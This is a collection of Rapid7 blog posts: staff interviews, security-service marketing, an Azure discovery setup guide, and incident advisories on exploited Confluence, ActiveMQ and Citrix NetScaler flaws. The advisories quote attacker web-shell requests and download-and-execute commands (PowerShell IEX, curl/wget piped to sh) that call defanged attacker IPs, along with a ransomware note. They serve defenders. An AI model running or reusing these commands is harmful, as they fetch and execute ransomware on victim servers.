When you’re a seller, it’s important to represent a reputable brand and products you can stand behind. For many companies, their partners act as an extension of the sales team to help identify and engage new customers. As a Senior Channel Account Manager, Joanne Guariglia shares what she loves most about her role, Rapid7, and why now is a great time to join the team.
What is it that initially attracted you to Rapid7?
In my previous role, I was with a company that had an integration with Rapid7 so I had been working in tandem with some of the leadership team. They were always down to earth, very genuine,open and honest about the great things happening, and what some of the challenges were. My partners also enjoyed working with the Rapid7 team and I could see they were making waves in the partner community.
Aside from that, Rapid7 is not just a single solution. Our products can meet customers where they are in their security journey, and grow and scale with them. So having that ability to grow alongside customers was something that I was really interested in.
Would you say a cybersecurity background is required for your role? What skills or knowledge is most important?
I wouldn’t necessarily say a cyber background is a must have before joining Rapid7. We have a comprehensive onboarding program that can help give you a strong foundation in cyber security knowledge as well as our products and services. What’s most important is your ability to grow relationships with our partners and to bring the best technology and solutions to the customer. This is a role where you have to be an effective communicator and a bridge between cross functional teams including Sales, Marketing, Customer Success, Sales Operations, Finance, and the Renewals team to make sure we are aligned on business decisions moving forward. Having that collaboration between teams and knowing we are all working towards the same goal has been really rewarding.
What does the cybersecurity landscape look like, and how does Rapid7 differentiate itself from competitors?
When it comes to the landscape, cyber criminals are always evolving their tactics and continue to increase efforts against businesses of all sizes. Security is not a ‘nice to have’; It’s a priority for all businesses and industries, so it’s a field that’s very stable and always growing.
Cybersecurity can also be challenging because it is a crowded market but where Rapid7 has a competitive advantage is in consolidation. Our customers don’t have to work with multiple vendors to satisfy all aspects of their security needs, we can consolidate multiple products and offerings into one cost with one vendor. We’ve come a long way in growing our portfolio and responding to the customers needs, and we are well positioned to continue that growth into 2024 and beyond.
What do you find most rewarding about your role?
What I enjoy most is being able to build lasting relationships with our partners. Partners want to work with trusted brands that are leaders in the space and we have that here at Rapid7. Being that trusted voice and growing the relationship, while educating them about our offerings, enables me to have a positive impact.
Another thing I find rewarding is the ability to create change and outcomes that our partners find valuable. We are a large company, but we are still agile enough to pivot when needed and our culture is one that is supportive of asking questions and sharing new ideas that we can bring to fruition.
What are you most excited for in 2024?
2024 is exciting because our channel team is at the forefront of impacting growth across the organization. We are investing heavily in our partnerships and partner programs, and are making strides with the channel community more than ever. Our company strategy and goals are really clear, and we’re all excited to execute and drive positive impact for the business.
With incredible product offerings and an opportunity to foster and grow partner relationships, there is no better time to be a part of this journey. 2024 is going to be a huge year for us!
From developing driver-assistance software for a luxury car brand to jumping on board an NFT startup, Martin Votruba, Lead Software Engineer, is not one to shy away from a challenge. In September of 2023, joined Rapid7 as the first hire in its new Prague office. Martin is leveraging Rapid7’s excitement and energy of a startup while having the resources and support of an established organization to build a new team in Prague. He sat down to share his experience as one of the first employees in Prague, and discuss how Rapid7’s culture of collaboration and continuous learning helped him build a successful foundation on which to grow his team.
How have your past experiences contributed to how you approach your role today?
At Rapid7, my team’s job is to search for reported vulnerabilities and communicate those within our product (InsightVM) so that our customers can determine whether or not they are at risk. With different software vulnerabilities, each case is unique. This makes our job different from traditional engineering where you follow one recipe or code path and deploy it. I’m constantly drawing inspiration from past challenges and experiences to think about how to approach each new case here. I enjoy the opportunity to be creative in identifying solutions and helping our product deliver the best outcomes to our customers.
What was it that initially attracted you to Rapid7?
To be honest, I had never heard of the company before. It was exciting to see that it was starting a new office in Prague, while also having an established team globally to collaborate and partner with. I was looking for an opportunity to grow and learn from others and was interested in a global company. Being able to maintain the excitement and energy of a startup environment by being part of a new office is a unique opportunity. It also is a really fun environment building its own organic culture as new people are excited about working for Rapid7 and joining us every week.
What is something you didn’t realize or expect about Rapid7’s culture?
As far as culture, it was a nice surprise to see that even though Rapid7 is a global company and has larger structures in place, it isn’t so rigid that you are bogged down by processes or unable to feel you are making an impact. For example, right after I joined I had an opportunity to be a part of the interview team for some new roles. I was given that trust automatically to help shape what the office looks like and who we are bringing on board.
Another thing that may be surprising to a lot of people is that even though we are a cybersecurity company, you don’t have to be a cybersecurity expert to have a successful career here. I’m still a software engineer – not a cybersecurity expert (although I’ve learned a lot). What I’m responsible for is still core to my expertise as an engineer, I’m just working within a domain and product that happens to be cybersecurity.
How have you been able to build relationships as a new employee?
We have a really interesting program called “Insight Coffee” that encourages people from around the company to set up 1:1s and get to know one another. There’s no agenda, and it’s truly just to learn about another person’s background, experience, or role. The program opens the door for you to reach out and form relationships in a way that is really approachable and encouraged. If I know I’m going to be working closely with someone on a different team, I’ll set up a quick Insight Coffee to get to know them before diving into a project. That way, when we are working together, it helps open up that avenue of communication and understanding, making the entire process or project run more smoothly.
What was your interview experience like?
After talking with the recruiter about the opportunity, my interview consisted of a call with the Hiring Manager, an interview where we talked about the role and Rapid7’s culture, and a technical challenge. The technical challenge was interesting, and is designed to see how you approach solving a specific problem. Even though I was being assessed on my skills, I felt I was supported and encouraged to ask questions if I was stuck or unsure of something. Now that I am on the other side of this process and helping others with their technical challenge, I know it’s important to understand how someone thinks, what questions they ask, and how they approach the challenge. Of course, getting to the right answer or resolution is the goal, but how they get there and how they approach it is equally important when assessing if someone is the right person for the job. As a manager, I want to bring that same level of support to my team, so they know no matter what challenge they are up against, we are all here to work together and find the best solution as a team.
To learn more about Rapid7’s new office in Prague, click here. View and apply to Rapid7 jobs in Prague here.
It’s no secret that security teams are feeling beleaguered as a result of the barrage of data, events, and alerts generated by their security tools, to say nothing of the increased budget scrutiny and constrained staff resources that continue to plague cybersecurity practitioners.
The trick is finding the right balance between how much internal teams have to accomplish themselves versus how much they can cede to managed security service providers (MSSPs).
Historically, success in security operations (SecOps) was measured by how quickly teams could react to incoming threats; but the sheer number of alerts that require humans-in-the-loop to determine the accuracy and severity of security events make it nearly impossible for teams to keep up. Additionally, the number of tools deployed in a given organization today – to say nothing of the complexity required to make those tools work in concert – means reacting alone won’t get the job done anyway.
Unfortunately, many MSSPs don’t do enough to relieve customers of noisy alerts without expensive consulting agreements, which puts the burden to evaluate and remediate incidents back on already strapped in-house teams.
Traditional approaches have the added disadvantages of being too siloed, too slow, too antiquated for cloud environments, and too convoluted to demonstrate their value. Analysts at a leading research firm predict that within the next 12-18 months, 33% of organizations that currently have internal security functions will attempt and fail to build an effective internal SecOps because of resource constraints such as lack of budget, expertise, and staffing. Analysts further expect that within the next 12-18 months, 90% of internal SecOps will outsource at least 50% of their operational workloads – which makes choosing an MSSP you trust of paramount importance.
MSSPs enable organizations to maximize resilience while minimizing complexity and optimizing staff resources. The best solutions in the market will drive greater efficiency and consolidation by unifying vulnerability management and managed detection and response (MDR) into a single, cohesive security service built by practitioners for practitioners. They will offer 24x7x365 services that “follow the sun” (meaning no one service center is responsible for 100% of support calls; the work is distributed in certified centers of excellence around the world) so that top-notch support is readily available where and when you need it. Complete coverage and end-to-end detection and response services means you can feel confident that your teams are always ready for what comes next.
But it’s important to choose an MSSP that eschews a one-size-fits-all approach. Rather, look for a partner that is dynamic and flexible enough to meet the particular risk profile and business priorities of your organization, one adaptable enough to conform to changes in evolving threats and attack vectors.
Partnering with the right MSSP also allows you to optimize your SecOps for today’s distributed environments, built for the speed and scale of the cloud. Operating in the cloud means you can integrate hundreds of services with the thousands of devices connecting to them seamlessly and in real time; it also means you must protect and secure a sprawling surface with a multitude of potential entry points that threat actors can exploit.
To meet the challenge, choose an MSSP that offers complete coverage from a single, end-to-end solution so that you’re not left responding to an overabundance of events, alerts, and false positives or trying to protect an attack surface too big to contain.
Look for providers that deliver unlimited data, unlimited incident response, and unlimited intelligence so that when a forensic analysis is performed, their detailed remediation and mitigation recommendations make sure you can improve your resilience against future threats. And in the unfortunate event that a breach becomes a full-scope incident-response engagement, you want a partner that will work with you round-the-clock on the forensic investigation and deliver answers that will remove attackers from your environment as quickly as possible – without charging additional consulting fees.
Partnering with a proven MSSP will also boost your visibility across all services and devices to anticipate the most imminent risks, prevent attacks earlier, and respond to events faster. Additionally, an engagement that includes threat exposure manageability at scale through unified endpoint-to-cloud coverage can identify and respond to threats anywhere while breaking down functional and geographic silos that stall efficiency and reduce collaboration.
Critical functions like threat hunting and patch management can be automated across many tools and processes to reduce reliance on manual work. Machine learning and artificial intelligence models can be paired with internal threat telemetry data and chatbots to triage events, increase staff productivity, or produce threat reports that support more targeted and prioritized threat management across the enterprise.
Best of all, the successful use of AI and automation can help reduce the number of tools operating in your environment, which in turn decreases the complexity and cost of security operations.
It’s time to gain the edge over attackers and keep up with the fluid, ever-expanding threat landscape by eliminating threats wherever they emerge and proactively preventing breaches earlier in the kill chain. Partnering with a trusted MSSP will enable you to manage your threat exposure precisely and comprehensively, improve your signal-to-noise ratio, demonstrate tangible ROI from your security investments, and continually advance your security posture.
Learn more about the best criteria to use when reviewing the capabilities of potential MSSP partners.
Are you having trouble trying to get your Azure assets into your InsightVM security console? In this blog post, we wanted to bring additional insight into leveraging the Azure Discovery Connection with InsightVM.
This blog post is brought to you by the Fuzzy Borders project, whose members come from different teams across Rapid7. Our goal is to find answers for requests that may fall into gray (fuzzy) areas. Our past work includes example API calls and SQL queries for InsightVM Security Consoles.
We hope this blog will help you get started with assessing your Azure virtual machines in InsightVM.
There are 3 main areas of configuration: Azure App Registration, IAM Subscription, and InsightVM Discovery Connection configuration.
Here is the overview of the steps:
Azure Configuration
App Registration
API Permissions
Generate and Save the Secret Value
IAM role permissions (Subscriptions Tab)
Attach Reader role to App Registration
InsightVM Discovery Connection Configuration Prerequisite: Allow outbound traffic to Azure from the InsightVM console server.
Create a new site for Azure assets*
Create Azure Discovery Connection
Enter Azure Tenant ID, Application ID, Application Secret certificate Value
*The Azure Site should be dedicated to this discovery connection only.
We need to establish trust between Rapid7 and Azure. Click on “App registrations”
Click: New registration
Enter a display name for the application and click Register at the bottom. In this example we use “FuzzyDiscovery”
We leave default values. Once you click Register it will return the Application ID, and Directory ID (a.k.a Tenant ID) that will be required in later steps.
Tip: Either take a screenshot or copy and paste both the Application and Directory ID to a secure location to reference later.
Generate and Save the Secret Value
Click on Certificates & Secrets, click: Client Secrets, and add New Client Secret
Important Note: We require the generated Secret Certificate Value, not the Secret ID.
Configure API Permissions
Click on “Add a Permission” Search and Select: “Directory.Read.All”, and click Grant and Consent
Subscription Access
Click Home, and click Subscription, to set up our IAM role.
In the Subscriptions page, click Access Control (IAM), and click Add Role Assignment under “Grant access to this resource”
Select the Reader role
Enter the member created earlier. (Example: FuzzyDiscovery)
Navigate to Administration – click: Discovery Connections
From Azure App Registration fill out:
Tenant ID Application ID
Application Security Certificate Value previously generated in Azure
Please note: In the case the secret was not saved previously, a new secret will have to be generated, and the previously generated secret can be revoked.
Troubleshooting Tips:
In the InsightVM console logs, review the eso.log for any errors and provide logs to support via a case.
Daniel Lydon and Conor Quinn contributed attacker behavior insights to this blog.
As of November 5, 2023, Rapid7 Managed Detection and Response (MDR) is observing exploitation of Atlassian Confluence in multiple customer environments, including for ransomware deployment. We have confirmed that at least some of the exploits are targeting CVE-2023-22518, an improper authorization vulnerability affecting Confluence Data Center and Confluence Server. Atlassian published an advisory for the vulnerability on October 31, 2023. MDR has also observed attempts to exploit CVE-2023-22515, a critical broken access control vulnerability in Confluence that came to light on October 4.
Atlassian updated their advisory for CVE-2023-22518 on November 3 to note that exploitation of the vulnerability had been reported to them by a customer.
Observed attacker behavior
Beginning November 5, 2023, Rapid7 MDR began responding to exploitation of Confluence Server within various customer environments. The alerts we observed occurred between 2023-11-05 10:08:34 and 23:05:35 UTC.
The process execution chain, for the most part, is consistent across multiple environments, indicating possible mass exploitation of vulnerable internet-facing Atlassian Confluence servers.
Rapid7 observed POST requests in HTTP access logs (/atlassian/confluence/logs) on both Windows and Linux. The requests were sent to /json/setup-restore.action?synchronous=true, as seen in the example below:
[05/Nov/2023:11:54:54 +0000] - SYSTEMNAME 193.176.179[.]41 POST /json/setup-restore.action?synchronous=true HTTP/1.1 302 44913ms - - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:09 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/?os_authType=basic HTTP/1.1 200 153ms 388712 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:10 +0000] admin SYSTEMNAME 193.176.179[.]41 DELETE /rest/plugins/1.0/web.shell.Plugin-key HTTP/1.1 404 3ms 40 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:10 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /rest/plugins/1.0/?token=-TOKENNUM HTTP/1.1 202 26ms 344 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:11 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/tasks/1f5049f1-6fd7-471d-937c-7afbe3158019 HTTP/1.1 200 4ms 229 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:16 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/tasks/1f5049f1-6fd7-471d-937c-7afbe3158019 HTTP/1.1 200 3ms 274 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Nov/2023:11:56:16 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 27ms 212 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:17 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 13ms 283 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:17 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 14ms 556 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:18 +0000] admin SYSTEMNAME 193.176.179[.]41 DELETE /rest/plugins/1.0/web.shell.Plugin-key HTTP/1.1 204 129ms - - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Rapid7 managed services observed the following processes on the host systems as part of exploitation:
cmd /c whoami
Additional Commands (decoded and deobfuscated):
IEX((New-Object Net.WebClient).DownloadString("hxxp[:]//193[.]176[.]179[.]41/tmp.37"))
Post-exploitation behavior
After the initial enumeration activity (whoami command spawned via Bash), the adversary executed Base64 commands to spawn follow-on commands via python2 or python3.
/usr/bin/bash -c whoami
echo -n hxxp://193.176.179[.]41/agae > /tmp/lru
uname -p 2> /dev/null (spawned by /usr/bin/python3.6)
/usr/bin/id -u (spawned by /usr/bin/python3.6)
/bin/chmod +x ./qnetd (spawned by /usr/bin/python3.6)
/bin/chmod 755 ./qnetd (spawned by /usr/bin/python3.6)
/tmp/qnetd (ransomware execution)
—-----------------------------------------
/usr/bin/bash -c whoami
echo -n hxxp://193.43.72[.]11/mdrg > /tmp/lru
curl -s hxxp://193.43.72[.]11/mdrg.sh || wget -q -O- hxxp://193.43.72[.]11/mdrg[.]sh)%7Csh
/usr/bin/cat /tmp/lru (spawned by /usr/bin/bash)
/usr/bin/uname -m (spawned by /usr/bin/bash)
/usr/bin/rm -rf /tmp/lru (spawned by /usr/bin/bash)
/usr/bin/rm -rf sh (spawned by /usr/bin/bash)
/usr/bin/id -u (spawned by /usr/bin/bash)
/usr/bin/rm -rf ./qnetd(spawned by /usr/bin/bash)
/usr/bin/chmod +x ./qnetd (spawned by /usr/bin/bash)
/usr/bin/chmod 755 ./qnetd (spawned by /usr/bin/bash)
/usr/bin/rm -rf ./qnetd (spawned by /usr/bin/python2.7)
/usr/bin/uname -p (spawned by /usr/bin/python2.7)
/usr/bin/id -u (spawned by /usr/bin/python2.7)
/usr/bin/chmod +x ./qnetd (spawned by /usr/bin/python2.7)
/usr/bin/chmod 755 ./qnetd (spawned by /usr/bin/python2.7)
/tmp/qnetd (ransomware execution)
In multiple attack chains, Rapid7 observed post-exploitation command execution to download a malicious payload hosted at 193.43.72[.]11 and/or 193.176.179[.]41, which, if successful, led to single-system Cerber ransomware deployment on the exploited Confluence server.
Mitigation guidance
All versions of Confluence Server and Confluence Data Center are vulnerable to CVE-2023-22518. The vulnerability has been remediated in the following fixed versions:
7.19.16
8.3.4
8.4.4
8.5.3
8.6.1
Atlassian Cloud users are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.
Customers should update to a fixed version of Confluence on an emergency basis, restricting external access to the application at least until they are able to remediate. If you are unable to restrict access to the application or update on an emergency basis, Atlassian’s advisory includes interim measures you can take to mitigate risk from known attack vectors. As always, Rapid7 strongly recommends applying vendor-supplied patches rather than relying solely on temporary mitigations.
InsightVM and Nexpose customers can assess their exposure to CVE-2023-22518 with an unauthenticated check available as of the November 1, 2023 content release.
InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. The following detection rules are deployed and alerting on activity related to Atlassian Confluence exploitation:
Suspicious Process – Confluence Java App Launching Processes
Tom Elkins, John Fenninger, Evan McCann, Matthew Smith, and Micah Young contributed attacker behavior insights to this blog.
Beginning Friday, October 27, Rapid7 Managed Detection and Response (MDR) identified suspected exploitation of Apache ActiveMQ CVE-2023-46604 in two different customer environments. In both instances, the adversary attempted to deploy ransomware binaries on target systems in an effort to ransom the victim organizations. Based on the ransom note and available evidence, we attribute the activity to the HelloKitty ransomware family, whose source code was leaked on a forum in early October. Rapid7 observed similar indicators of compromise across the affected customer environments, both of which were running outdated versions of Apache ActiveMQ.
CVE-2023-46604 is a remote code execution vulnerability in Apache ActiveMQ that allows a remote attacker with network access to a broker “to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.” This is one of the more convoluted vulnerability descriptions we’ve seen, but the root cause of the issue is insecure deserialization.
Apache disclosed the vulnerability and released new versions of ActiveMQ on October 25, 2023. Proof-of-concept exploit code and vulnerability details are both publicly available. Rapid7’s vulnerability research team has tested the public PoC and confirmed that the behavior MDR observed in customer environments is similar to what we would expect from exploitation of CVE-2023-46604. Rapid7 research has a technical analysis of the vulnerability in AttackerKB.
Affected Products
According to Apache’s advisory, CVE-2023-46604 affects the following:
Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16
Observed Attacker Behavior
During a successful exploitation of the vulnerability, Java.exe will contain the specific Apache application being targeted — in this case, D:\Program files\ActiveMQ\apache-activemq-5.15.3\bin\win64, which was observed as the parent process in both incidents. Post-exploitation, the adversary attempted to load remote binaries named M2.png and M4.png using MSIExec. The threat actor’s attempts at ransomware deployment were somewhat clumsy: In one of the incidents Rapid7 observed, there were more than half a dozen unsuccessful attempts to encrypt assets.
HelloKitty Ransomware Details
Rapid7 acquired the MSI files M4.png and M2.png from the domain 172.245.16[.]125 and analyzed them in a controlled environment. After analysis, Rapid7 observed that both MSI files contained a 32-bit .NET executable internally named dllloader. Within the .NET executable dllloader, Rapid7 found that the executable loads a Base64-encoded payload. We decoded the Base64-encoded payload and determined that it was a 32-bit .NET DLL named EncDLL.
The EncDLL binary contained functionality similar to that of ransomware — the DLL searches for specific processes and stops them from running. Rapid7 observed the DLL will encrypt specific file extensions using the RSACryptoServiceProvider function, appending encrypted files with the extension .locked. We also observed another function that provided information about which directories to avoid encrypting, a static variable assigned with the ransomware note, and a function that attempted communication to an HTTP server, 172.245.16[.]125.
The ransomware note indicated communications should occur through the email address service@hellokittycat[.]online:
send 0.1btc to my address:bc1ql8an5slxutu3yjyu9rvhsfcpv29tsfhv3j9lr4. contact email:[email protected],if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me.
Indicators of Compromise
Rapid7’s vulnerability research team analyzed CVE-2023-46604 and available public exploit code. In our test setup, activemq.log had a single line entry for successful exploitation of CVE-2023-46604:
2023-10-31 05:04:58,736 | WARN | Transport Connection to: tcp://192.168.86.35:15871 failed: java.net.SocketException: An established connection was aborted by the software in your host machine | org.apache.activemq.broker.TransportConnection.Transport | ActiveMQ Transport: tcp:///192.168.86.35:15871@61616
In the above example, the attacker’s IP was 192.168.86.35, and the target TCP port was 61616. More or less information may be available depending on the logging settings, which can be modified.
Organizations should update to a fixed version of ActiveMQ as soon as possible and look for indicators of compromise in their environments. Apache-supplied updates are available here. Apache also has information on improving the security of ActiveMQ implementations here.
Rapid7 Customers
Rapid7 MDR, InsightIDR, and Managed Threat Complete (MTC) customers have the following rules deployed and alerting on the post-exploitation activity related to this threat. Rapid7 recommends ensuring the Insight Agent is deployed to all applicable assets within our customers’ environments:
Suspicious Process – Apache ActiveMQ Launching CMD Process
Attacker Technique – MSIExec loading object via HTTP
Suspicious Process – Volume Shadow Service Delete Shadow Copies
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2023-46604 with an authenticated vulnerability check for Windows being targeted for today’s (Wednesday, November 1) content release.
On October 10, 2023, Citrix published an advisory on two vulnerabilities affecting NetScaler ADC and NetScaler Gateway. The more critical of these two issues is CVE-2023-4966, a sensitive information disclosure vulnerability that allows an attacker to read large amounts of memory after the end of a buffer. Notably, that memory includes session tokens, which permits an attacker to impersonate another authenticated user. On October 17, Citrix updated the advisory to indicate that they have observed exploitation in the wild. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has also added CVE-2023-4966 to their Known Exploited Vulnerabilities (KEV) catalog.
On October 25, 2023, security firm Assetnote released an analysis, including a proof of concept, that demonstrates how to steal session tokens. Since then, Shadowserver has noted an uptick in scanning for that endpoint. Rapid7 MDR is investigating potential exploitation of this vulnerability in a customer environment but is not yet able to confirm with high confidence that CVE-2023-4966 was the initial access vector.
Rapid7 recommends taking emergency action to mitigate CVE-2023-4966. Threat actors, including ransomware groups, have historically shown strong interest in Citrix NetScaler ADC vulnerabilities. We expect exploitation to increase. Our research team has a technical assessment of the vulnerability and its impact in AttackerKB.
Affected Products
Citrix published a blog on October 23 that has exploitation and mitigation details. Their advisory indicates that CVE-2023-4966 affects the following supported versions of NetScaler ADC and NetScaler Gateway:
* NetScaler ADC and NetScaler Gateway 14.1 before 14.1-8.50
* NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15
* NetScaler ADC and NetScaler Gateway 13.0 before 13.0-92.19
* NetScaler ADC 13.1-FIPS before 13.1-37.164
* NetScaler ADC 12.1-FIPS before 12.1-55.300
* NetScaler ADC 12.1-NDcPP before 12.1-55.300
Note: NetScaler ADC and NetScaler Gateway version 12.1 is now End-of-Life (EOL) and is vulnerable.
In order to be exploitable, the appliance must be configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server (which is a very common configuration). Citrix has indicated that customers using Citrix-managed cloud services or Citrix-managed Adaptive Authentication do not need to take any action.
Mitigation Guidance
Citrix NetScaler ADC and Gateway users should update to a fixed version immediately, without waiting for a typical patch cycle to occur. Additionally, Citrix’s blog on CVE-2023-4966 recommends killing all active and persistent sessions using the following commands:
InsightVM and Nexpose customers can assess their exposure to both of the CVEs in Citrix’s advisory (CVE-2023-4966, CVE-2023-4967) with authenticated vulnerability checks available in the October 23 content release.
Working with thousands of security and risk professionals across the globe, we know that complexity is the top challenge SOCs are facing today. As the attack surface rapidly expands, security teams need more effective ways to keep pace with digital transformation and get out of the cycle of constant reactive fire drills.
So, we have expanded endpoint protection within our leading MDR service, Managed Threat Complete, to include native next-generation antivirus (NGAV) and DFIR powered by our universal Insight Agent.
Building on the powerful vulnerability scanning, high efficacy threat detections, and rapid containment we deliver on the endpoint today, these new capabilities help unlock critical efficiency and consolidation teams need to gain control over their dynamic attack surface.
We’re also excited to integrate Velociraptor directly into InsightIDR. The integration empowers security teams to easily collect, query, and monitor virtually any aspect of their endpoint fleets with leading digital forensics and incident response (DFIR) technology and playbooks. Already a key tool used by our Incident Response consultants in every single Incident Response engagement, customers can now experience the power and insight Velociraptor brings on the endpoint, directly in the product.
Plus, Velociraptor now uses an expressive query language (rather than code), which makes it faster and easier to share custom detections with the open source community. This helps SOC teams root out new threats more quickly, while demonstrating our continued support to open source.
Rapid7 MDR: Full coverage, single trusted partner
A Gartner study found that 75% of organizations pursued security vendor consolidation in 2022, up from 29% in 2020. And we understand why. Rapid environment expansion and constantly escalating threats—combined with a growing skills gap—have left security professionals on their heels and over-indexed on reactive measures alone. Adoption of point solutions to keep up change has resulted in more noise, inefficiency, and burnout. Previous SecOp approaches are broken – there has to be change.
Rapid7 tackles complexity head-on with a more proactive approach to security operations. By unifying relevant exposure management, external threat intelligence, and now prevention capabilities we are able to get ahead of risk and eliminate breaches earlier. This also reduces the noise and alerts downstream, enabling high efficacy threat detection, and accelerated response. With Rapid7, customers can feel confident they are covered from endpoint to the cloud, across both known and unknown threats.
While the attack surface grows, endpoints remain a critical foot in the door and target for attackers. Rapid7 delivers full threat lifecycle coverage on the endpoint via our lightweight agent, including:
Anticipate threats to prevent breaches earlier with leading vulnerability management and Next-Gen Antivirus.
Rich telemetry, unique intelligence, and curated content drives high efficacy detections.
Full kill chain visibility and streamlined automation contain threats faster than ever.
Robust forensic insights for expedited investigations and advanced hunting powered by Velociraptor.
Looking Ahead: Proactive Ransomware Prevention
As Rapid7 continues to invest in the most complete endpoint solutions, it will be addressing one of the most pervasive threats organizations face today: ransomware. Leveraging a patented approach from the integrated Minerva technology, these future capabilities will be able to recognize the earliest signals and behaviors to identify and intercept headline-making attacks before they are able to execute.
Rapid7’s incident response team is currently using this technology in the field, and soon these powerful capabilities will be available to rapid7 MDR customers. You can learn more about how Rapid7 protects endpoints here.
Cyber risk is increasing both in volume and velocity. Given the landscape of threats, weaknesses, vulnerabilities, and misconfigurations, organizations, teams and vulnerability analysts alike need of better prioritization mechanisms. That’s why we developed a new risk scoring methodology: Active Risk.
Rapid7 has offered five risk strategies for many years, each strategy with its own specific approach to surfacing that which matters most. Our sixth risk strategy, Active Risk, is designed to focus security and remediation efforts on the vulnerabilities that are actively exploited in the wild or most likely to be exploited.
Active Risk uses CVSS scores along with intelligence from threat feeds like AttackerKB, Metasploit, ExploitDB, Project Heisenberg, CISA KEV list, and other third-party dark web sources to provide security teams with threat-aware vulnerability risk scores on scale of 0-1000.
Active Risk is available via InsightVM, InsightCloudSec, Nexpose, and our recently released Executive Risk View.
Enter Active Risk
Exploitability has become one of those terms that the security community has maligned, not out of spite, but simply because it’s been applied to too many use cases. Exploitability refers to the ease with which a vulnerability in a computer system, software application, or network can be exploited. But, even that definition can be misleading. Semantics aside, exploitability is really a question of likelihood.
This new risk strategy is focused on delivering unambiguous near-time intelligence, by systematically including a number of threat intelligence sources to enhance vulnerability risk score(s).
There are a number of vulnerability intelligence sources that fuel prioritization in Active Risk, including:
AttackerKB: Launched in 2020, a forum for the security community at large to share insights and views that help cut through all the hype and chaos, with a primary purpose to inform infosec professionals on vulnerabilities and security threats
Project Heisenberg: A network of low interaction honeypots with a singular purpose, to understand what attackers, researchers, and organizations are doing in, across, and against cloud environments. This global network established in 2014, by Rapid7, it records telemetry about connections and incoming attacks to better understand the tactics, techniques, and procedures used by bots and human attackers
Metasploit: Arguably the most widely used, community supported, ethical hacking framework on the planet, used by whitehats, security researchers and generalists in pentesting, <pick-your-color> teaming, CTF drills, education as well as broad or very specialized security assessment exercises
Exploit Database (exploit-db.com): Widely used online repository and reference for security researchers, pentesters, and ethical hackers; it’s become a go-to resource offering an extensive archive of exploits and vulnerabilities, allowing users to track the evolution of security threats over time across software, hardware, and operating systems
CISA Key Exploited Vulnerabilities (KEV) Catalog: Established in 2021 to “provide an authoritative source of vulnerabilities that have been exploited ‘in the wild,’” by the Cybersecurity & Infrastructure Security Agency; witnessing fairly broad and hasty adoption across industries as a method to focus and improve remediation throughput
OSINT and Commercial Feeds: Dependent on the nature of the vulnerability or threat the sources above are combined and validated with additional intelligence and context to enhance prioritization results and ultimately customer outcomes
The immediate value in threat intel data ingestion and normalization alone, that Active Risk delivers, will incentivize and amplify the interest for potential adoption. Active Risk is also CVSS 3.1 compliant across all new CVEs and makes ready future adoption of revised scoring systems (CVSS v4.0 is targeting October 31, 2023 publication). There is strong market demand and intensifying use and application of ‘exploitability’ intelligence as seen in CVSS v4.0 and in CISA KEV as previously mentioned.
Normalize vulnerability risk scoring across cloud and on-prem environments
Active Risk normalizes risk scores across cloud and on-premises environments to effectively assess and collaborate with teams across an organization.
Security teams can leverage Active Risk dashboard cards in InsightVM and Executive Risk View in our Cloud Risk Complete solution to support cross-functional conversations.
Active Risk is a step change along the path of risk prioritization improvement, and the much longer and windier road we travel together towards improved risk management outcomes.
